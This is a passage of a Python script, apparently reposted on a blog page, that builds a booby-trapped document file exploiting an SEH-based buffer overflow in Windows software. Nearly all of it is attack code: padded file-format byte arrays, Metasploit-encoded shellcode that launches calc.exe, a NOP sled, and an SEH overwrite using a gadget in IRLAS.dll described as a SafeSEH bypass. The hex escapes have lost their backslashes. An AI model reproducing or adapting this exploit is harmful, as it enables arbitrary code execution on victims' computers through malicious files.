"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x08x00x00x08x08x00x00x0Ax08x00x00xF3xE7x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x17x4F"+
"x4Ax09x00x51x4Ax09x00x6Fx28x00x5Ex4Ax09x00x6Dx48"+
"x07x04x73x48x07x04x17x4Fx4Ax09x00x51x4Ax09x00x6F"+
"x28x00x5Ex4Ax09x00x6Dx48x07x04x73x48x07x04x00x02"+
"x00x08x00x00x0Ax08x00x00xFDx00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x01"+
"x2Dx00x1FxB0xD7x2Fx20xB0xCBx3Dx21xB0x05x07x23x90"+
"xA0x05x22xB0x05x07x24x90xA0x05x25xB0x00x00x17xB0"+
"xC4x02x18xB0xC4x02x31x90x1Fx01xFFxD1x02x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x14x00x11x00x12x00x01x00x9Cx00x0Fx00x04x00x00x00"+
"x08x00x00x00x00x00x5Ax00x00x60xF1xFFx02x00x5Ax00"+
"x00x00x00x00x00x00x00x00x00x00x06x00x4Ex00x6Fx00"+
"x72x00x6Dx00x61x00x6Cx00x00x00x0Bx00x00x00x61x24"+
"x00x03x24x00x31x24x00x00x28x00x43x4Ax18x00x4Fx4A"+
"x09x00x50x4Ax0Ax00x51x4Ax09x00x5Ex4Ax09x00x4Bx48"+
"x02x00x6Dx48x09x04x73x48x09x04x6Ex48x04x08x74x48"+
"x04x08x6Ax00x01x60x01x00x02x00x6Ax00x00x00x00x00"+
"x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00"+
"x69x00x6Ex00x67x00x20x00x31x00x00x00x27x00x01x00"+
"x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24"+
"x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05"+
"x24x01x40x26x00x00x16x00x43x4Ax20x00x4Fx4Ax04x00"+
"x51x4Ax04x00x35x08x01x36x08x00x4Bx48x2Cx00x66x00"+
"x02x60x01x00x02x00x66x00x00x00x00x00x00x00x00x00"+
"x00x00x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00"+
"x67x00x20x00x32x00x00x00x27x00x02x00x12x64xF0x00"+
"x01x00x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3C"+
"x00x59x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26"+
"x01x00x12x00x43x4Ax1Cx00x4Fx4Ax04x00x51x4Ax04x00"+
"x35x08x81x36x08x01x64x00x03x60x01x00x02x00x64x00"+
"x00x00x00x00x00x00x00x00x00x00x09x00x48x00x65x00"+
"x61x00x64x00x69x00x6Ex00x67x00x20x00x33x00x00x00"+
"x27x00x03x00x12x64xF0x00x01x00x13xA4xF0x00x58x44"+
"x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5Cx24x00"+
"x06x24x01x05x24x01x40x26x02x00x0Fx00x43x4Ax1Ax00"+
"x4Fx4Ax04x00x51x4Ax04x00x35x08x81x00x64x00x04x60"+
"x01x00x02x00x64x00x00x00x00x00x00x00x00x00x00x00"+
"x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00x67x00"+
"x20x00x34x00x00x00x27x00x04x00x12x64xF0x00x01x00"+
"x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3Cx00x59"+
"x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26x03x00"+
"x0Fx00x43x4Ax1Cx00x4Fx4Ax00x00x51x4Ax00x00x35x08"+
"x81x00x5Ex00x05x60x01x00x02x00x5Ex00x00x00x00x00"+
"x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00"+
"x69x00x6Ex00x67x00x20x00x35x00x00x00x27x00x05x00"+
"x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24"+
"x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05"+
"x24x01x40x26x04x00x0Ax00x43x4Ax1Ax00x35x08x81x36"+
"x08x01x64x00x06x60x01x00x02x00x64x00x00x00x00x00"+
"x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00"+
"x69x00x6Ex00x67x00x20x00x36x00x00x00x27x00x06x00"+
"x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24"+
"x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05"+
"x24x01x40x26x05x00x0Fx00x43x4Ax16x00x4Fx4Ax00x00"+
"x51x4Ax00x00x35x08x81x00x5Cx00x07x60x01x00x02x00"+
"x5Cx00x00x00x00x00x00x00x00x00x00x00x09x00x48x00"+
"x65x00x61x00x64x00x69x00x6Ex00x67x00x20x00x37x00"+
"x00x00x27x00x07x00x12x64xF0x00x01x00x13xA4xF0x00"+
"x58x44x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5C"+
"x24x00x06x24x01x05x24x01x40x26x06x00x07x00x43x4A"+
"x18x00x35x08x00x00x64x00x08x60x01x00x02x00x64x00"+
"x00x00x00x00x00x00x00x00x00x00x09x00x48x00x65x00"+
"x61x00x64x00x69x00x6Ex00x67x00x20x00x38x00x00x00"+
"x27x00x08x00x12x64xF0x00x01x00x13xA4xF0x00x58x44"+
"x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5Cx24x00"+
"x06x24x01x05x24x01x40x26x07x00x0Fx00x43x4Ax18x00"+
"x4Fx4Ax00x00x51x4Ax00x00x36x08x01x00x60x00x09x60"+
"x01x00x02x00x60x00x00x00x00x00x00x00x00x00x00x00"+
"x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00x67x00"+
"x20x00x39x00x00x00x27x00x09x00x12x64xF0x00x01x00"+
"x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3Cx00x59"+
"x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26x08x00"+
"x0Cx00x43x4Ax16x00x4Fx4Ax04x00x51x4Ax04x00x44x00"+
"x41x60xF2xFFxA1x00x44x00x00x00x00x00x00x00x00x00"+
"x00x00x16x00x44x00x65x00x66x00x61x00x75x00x6Cx00"+
"x74x00x20x00x50x00x61x00x72x00x61x00x67x00x72x00"+
"x61x00x70x00x68x00x20x00x46x00x6Fx00x6Ex00x74x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x44x00x20x60"+
"x01x00xF2x00x44x00x00x00x00x00x00x00x00x00x00x00"+
"x06x00x46x00x6Fx00x6Fx00x74x00x65x00x72x00x00x00"+
"x16x00x0Fx00x61x24x00x03x24x00x47x24x00x0DxC6x08"+
"x00x02x39x10x72x20x01x02x08x00x43x4Ax12x00x61x4A"+
"x12x00x3Ex00x1Fx60x01x00x02x01x3Ex00x00x00x00x00"+
"x00x00x00x00x00x00x06x00x48x00x65x00x61x00x64x00"+
"x65x00x72x00x00x00x10x00x10x00x47x24x00x0DxC6x08"+
"x00x02x39x10x72x20x01x02x08x00x43x4Ax12x00x61x4A"+
"x12x00x00x08x00x00x0Ax08x00x00x05x00x00x00x00x08"+
"x00x00x0Ax08x00x00x06x00x00x00x02x10x00x00x00x00"+
"x00x00x00x05x00x00x00x00x00x00x08x00x00x00x00x0C"+
"x00x00x00x47x16x90x01x00x00x02x02x06x03x05x04x05"+
"x02x03x04x87x7Ax00x20x00x00x00x80x08x00x00x00x00"+
"x00x00x00xFFx01x00x00x00x00x00x00")

tail=("x90x90xEBx06xE6xADx01x51x00x00x4Dx04x90x01x86x03x02"+ 
"x01x06x00x03x01x01x01x01x01x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x8Bx5Bx53x4Fx00x00x54x00x69x00x6Dx00x65x00x73"+
"x00x20x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6D"+
"x00x61x00x6Ex00x00x00x55x04x90x01x86x07x02x01x06"+
"x00x03x01x01x01x01x01x01x00x00x00x00x00x0Ex08x00"+
"x00x00x00x00x00x00x00x00x00x04x00x00x00x00x00x53"+
"x00x69x00x6Dx00x48x00x65x00x69x00x00x00x54x00x69"+
"x00x6Dx00x65x00x73x00x20x00x4Ex00x65x00x77x00x20"+
"x00x52x00x6Fx00x6Dx00x61x00x6Ex00x00x00x35x14x90"+
"x01x02x00x05x05x01x02x01x07x06x02x05x07x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x80x00x00x00x00x53x00x79x00x6Dx00x62x00x6Fx00x6C"+
"x00x00x00x33x24x90x01x00x00x02x0Bx06x04x02x02x02"+
"x02x02x04x87x7Ax00x00x00x00x00x80x08x00x00x00x00"+
"x00x00x00xFFx01x00x40x00x00xFFxFFx41x00x72x00x69"+
"x00x61x00x6Cx00x00x00x4Dx04x90x01x86x03x02x01x06"+
"x00x03x01x01x01x01x01x01x00x00x00x00x00x0Ex08x10"+
"x00x00x00x00x00x00x00x00x00x04x00x00x00x00x00xD1"+
"x9Ex53x4Fx00x00x54x00x69x00x6Dx00x65x00x73x00x20"+
"x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6Dx00x61"+
"x00x6Ex00x00x00x3Fx34x90x01x00x00x02x07x03x09x02"+
"x02x05x02x04x04x87x7Ax00x00x00x00x00x80x08x00x00"+
"x00x00x00x00x00xFFx01x00x40x00x00xFFxFFx43x00x6F"+
"x00x75x00x72x00x69x00x65x00x72x00x20x00x4Ex00x65"+
"x00x77x00x00x00x3Bx04x90x01x02x00x05x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x80x00x00x00x00x57x00x69"+
"x00x6Ex00x67x00x64x00x69x00x6Ex00x67x00x73x00x00"+
"x00x55x04x90x01x86x07x02x01x06x00x03x01x01x01x01"+
"x01x03x00x00x00x00x00x0Ex08x00x00x00x00x00x00x00"+
"x00x01x00x04x00x00x00x00x00x53x00x69x00x6Dx00x53"+
"x00x75x00x6Ex00x00x00x54x00x69x00x6Dx00x65x00x73"+
"x00x20x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6D"+
"x00x61x00x6Ex00x00x00x37x04x90x01x00x00x02x04x05"+
"x02x05x04x05x02x03x03x87x02x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x9Fx00x00x20x00x00x00x00x47"+
"x00x65x00x6Fx00x72x00x67x00x69x00x61x00x00x00x37"+
"x04x90x01x00x02x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x20x00x00x00x4Cx00x61x00x74"+
"x00x68x00x61x00x00x00x33x04x90x01x00x00x02x00x04"+
"x00x00x00x00x00x00x00x00x00x10x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x4C"+
"x00x61x00x74x00x68x00x61x00x00x00xFFxFFx12x00x00"+
"x00x00x00x0Ax00x4Ex00x6Fx00x72x00x6Dx00x61x00x6C"+
"x00x2Ex00x77x00x70x00x74x00x04x00x74x00x65x00x73"+
"x00x74x00x00x00x00x00x00x00x0Dx00x41x00x64x00x6D"+
"x00x69x00x6Ex00x69x00x73x00x74x00x72x00x61x00x74"+
"x00x6Fx00x72x00x0Ax00x7Ax00x68x00x61x00x6Ex00x67"+
"x00x71x00x69x00x61x00x6Ex00x67x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20"+
"x00x04x00x01x08x88x18x00x00xA4x01xE9xFDx68x01x00"+
"x00x00x00x8Bx33xE5x86x9FxC5x1Bx07x00x00x00x00x01"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x01"+
"x00x00x00x04x00x03x10x01x00x00x00x00x00x00x00x00"+
"x00x00x00x01x00x01x00x00x00x01x00x00x00x00x00x00"+
"x00x21x03x00x00x00x00x00x00x03x00x5Ax00x26x00x21"+
"x00x29x00x2Cx00x2Ex00x3Ax00x3Bx00x3Fx00x5Dx00x7D"+
"x00xA8x00xB7x00xC7x02xC9x02x15x20x16x20x19x20x1D"+
"x20x26x20x36x22x01x30x02x30x03x30x05x30x09x30x0B"+
"x30x0Dx30x0Fx30x11x30x15x30x17x30x01xFFx02xFFx07"+
"xFFx09xFFx0CxFFx0ExFFx1AxFFx1BxFFx1FxFFx3DxFFx40"+
"xFFx5CxFFx5DxFFx5ExFFxE0xFFx00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x28x00x5Bx00x7Bx00xB7"+
"x00x18x20x1Cx20x08x30x0Ax30x0Cx30x0Ex30x10x30x14"+
"x30x16x30x08xFFx0ExFFx3BxFFx5BxFFxE1xFFxE5xFFx00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x05"+
"x07xA0x05xB4x00x8Fx00x02x80x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x29xF0xFFx0Fx01x00x01x3Fx00x00xA8x03x00"+
"x00xFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFF"+
"x7FxFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFFx7Fx27x2Ax17"+
"x00x00x00x00x00x32x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x05"+
"x00x00x00x00x00x00x00x01x00x01x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x05"+
"x00x00x00x00x00x00x0Ex00x00x00x00xFFxFFxFFxFFx0F"+
"x00x00xF0x20x00x00x00x00x00x06xF0x18x00x00x00x02"+
"x08x00x00x02x00x00x00x02x00x00x00x01x00x00x00x01"+
"x00x00x00x02x00x00x00x00x0Fx00x02xF0x86x00x00x00"+
"x10x00x08xF0x08x00x00x00x02x00x00x00x01x04x00x00"+
"x0Fx00x03xF0x30x00x00x00x0Fx00x04xF0x28x00x00x00"+
"x01x00x09xF0x10x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x02x00x0AxF0x08x00x00x00"+
"x00x04x00x00x05x00x00x00x0Fx00x04xF0x36x00x00x00"+
"x12x00x0AxF0x08x00x00x00x01x04x00x00x00x0Ex00x00"+
"x53x00x0BxF0x1Ex00x00x00x7Fx00x00x00x8Dx01x7Fx01"+
"x20x00x20x00xCDx01x00x00x00x00xFFx01x00x00x08x00"+
"x3Fx03x01x00x01x00xFFx40x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00")

# windows/exec CMD=calc.exe 
# Encoder: x86/shikata_ga_nai
# powered by Metasploit 
# msfpayload windows/exec CMD=calc.exe R | msfencode -b 'x00'

shellcode = ("xbax68x3ex85x1fxd9xcaxd9x74x24xf4x58x29xc9" +
"xb1x33x31x50x12x83xe8xfcx03x38x30x67xeax44" +
"xa4xeex15xb4x35x91x9cx51x04x83xfbx12x35x13" +
"x8fx76xb6xd8xddx62x4dxacxc9x85xe6x1bx2cxa8" +
"xf7xadxf0x66x3bxafx8cx74x68x0fxacxb7x7dx4e" +
"xe9xa5x8ex02xa2xa2x3dxb3xc7xf6xfdxb2x07x7d" +
"xbdxccx22x41x4ax67x2cx91xe3xfcx66x09x8fx5b" +
"x57x28x5cxb8xabx63xe9x0bx5fx72x3bx42xa0x45" +
"x03x09x9fx6ax8ex53xe7x4cx71x26x13xafx0cx31" +
"xe0xd2xcaxb4xf5x74x98x6fxdex85x4dxe9x95x89" +
"x3ax7dxf1x8dxbdx52x89xa9x36x55x5ex38x0cx72" +
"x7ax61xd6x1bxdbxcfxb9x24x3bxb7x66x81x37x55" +
"x72xb3x15x33x85x31x20x7ax85x49x2bx2cxeex78" +
"xa0xa3x69x85x63x80x86xcfx2exa0x0ex96xbaxf1" +
"x52x29x11x35x6bxaax90xc5x88xb2xd0xc0xd5x74" +
"x08xb8x46x11x2ex6fx66x30x4dxeexf4xd8xbcx95" +
"x7cx7axc1")

nops="x90" * (516 - len(shellcode)) #516 bytes space for shellcode
nseh="x90x90xebx06"
seh=pack('<L',0x5101ade6) #0x5101ade6 # POP EBP # POP EBX # RETN 0x10 - IRLAS.dll [SafeSEH Bypass]

poc=head + nops + shellcode + nseh + seh + tail

try:
    print "[*] Creating exploit file...
";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";
查看全文
相关阅读:
BZOJ 2073: [POI2004]PRZ [DP 状压]
POJ 2404 Jogging Trails [DP 状压一般图最小权完美匹配]
BZOJ 2595: [Wc2008]游览计划 [DP 状压斯坦纳树 spfa]【学习笔记】
BZOJ 1226: [SDOI2009]学校食堂Dining [DP 状压]
BZOJ 2734: [HNOI2012]集合选数 [DP 状压转化]
BZOJ 1097: [POI2007]旅游景点atr [DP 状压最短路]
BZOJ 1072: [SCOI2007]排列perm [DP 状压排列组合]
USACO 状压DP练习[3]
CF781D Axel and Marston in Bitland [倍增矩阵乘法 bitset]
Codeforces Round #403 (Div. 2, based on Technocup 2017 Finals)
原文地址：https://www.cnblogs.com/microzone/p/3455989.html